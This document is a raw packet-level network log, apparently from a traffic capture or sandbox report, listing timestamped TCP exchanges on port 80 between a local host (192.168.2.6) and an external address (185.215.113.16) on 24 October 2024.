Oct 24, 2024 18:09:13.810992956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811027050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811031103 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811031103 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811031103 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811032057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811059952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811098099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811110020 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811110020 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811136007 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811156988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811177969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811235905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811291933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811386108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811418056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811441898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811464071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811568975 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811604977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811728001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811763048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811760902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811760902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811798096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811829090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811829090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811831951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811856985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811880112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811892033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811942101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811950922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.811976910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.811995029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812011003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812020063 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812046051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812063932 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812081099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812109947 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812114000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812131882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812154055 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812374115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812422991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812428951 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812478065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812500954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812511921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812530041 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812546968 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812562943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812581062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812585115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812616110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812623024 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812649965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812671900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812685013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812690973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812721014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.812740088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.812778950 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813107967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813178062 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813189983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813241005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813244104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813276052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813293934 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813308954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813330889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813344002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813365936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813385963 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813541889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813575983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813596964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813621044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813627958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813662052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813695908 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813704014 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813704014 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813730955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.813735962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.813780069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.854350090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.854438066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.854449034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.854474068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.854507923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.854532003 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.854532003 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.854542017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.854562044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.854582071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.854592085 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.854612112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.854703903 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.854810953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.854870081 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855381012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855416059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855439901 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855473042 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855526924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855561972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855580091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855596066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855604887 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855628967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855643988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855664015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855679989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855698109 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855722904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855734110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855741978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855767965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855776072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855803967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855817080 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855834961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855866909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855894089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855905056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855915070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855935097 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.855958939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.855979919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884109020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884175062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884190083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884228945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884254932 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884265900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884278059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884300947 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884319067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884354115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884356022 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884387970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884422064 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884433985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884433985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884454012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884469032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884489059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884493113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884524107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884546041 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884560108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884577036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884615898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884673119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884706974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884741068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884747028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884747028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884774923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884788990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884809971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.884824038 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.884860039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885009050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885049105 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885063887 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885087013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885094881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885119915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885138988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885154963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885159016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885202885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885341883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885392904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885396004 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885443926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885447025 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885479927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885497093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885513067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885531902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885546923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885581017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885591030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885591030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885616064 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885620117 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885659933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.885947943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.885979891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.886001110 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.886015892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.886022091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.886065006 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.926639080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.926711082 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.926739931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.926747084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.926780939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.926815033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.926815987 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.926815033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.926815033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.926852942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.926863909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.926889896 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.926912069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.926925898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.926933050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.926984072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930160046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930195093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930244923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930277109 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930326939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930344105 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930344105 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930345058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930345058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930360079 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930394888 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930418968 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930418968 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930432081 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930447102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930500984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930560112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930610895 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930660009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930692911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930727005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.930754900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930754900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930756092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930756092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930828094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.930989027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931039095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931049109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931071997 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931102991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931107044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931129932 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931143999 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931152105 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931195021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931370974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931426048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931435108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931468964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931488037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931504965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931528091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931559086 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931682110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931713104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931730032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931749105 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931754112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931801081 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931803942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931835890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931854010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931868076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.931879997 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.931921005 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932050943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932101011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932104111 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932137012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932153940 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932169914 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932173014 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932205915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932231903 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932250023 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932414055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932462931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932466030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932512045 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932514906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932549000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932566881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932583094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932599068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932616949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932637930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932651043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932656050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932683945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932694912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932718039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932733059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932751894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932769060 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932786942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932806015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932821989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.932836056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.932862043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.973892927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.973965883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974001884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974034071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974066973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974097967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974131107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974163055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974195004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974227905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974257946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974257946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974257946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974257946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974257946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974257946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974272966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974307060 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974344969 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974361897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974363089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974363089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974374056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974390984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974426031 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974503040 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974652052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974684954 CEST	80	49994	185.215.113.16	192.168.2.6
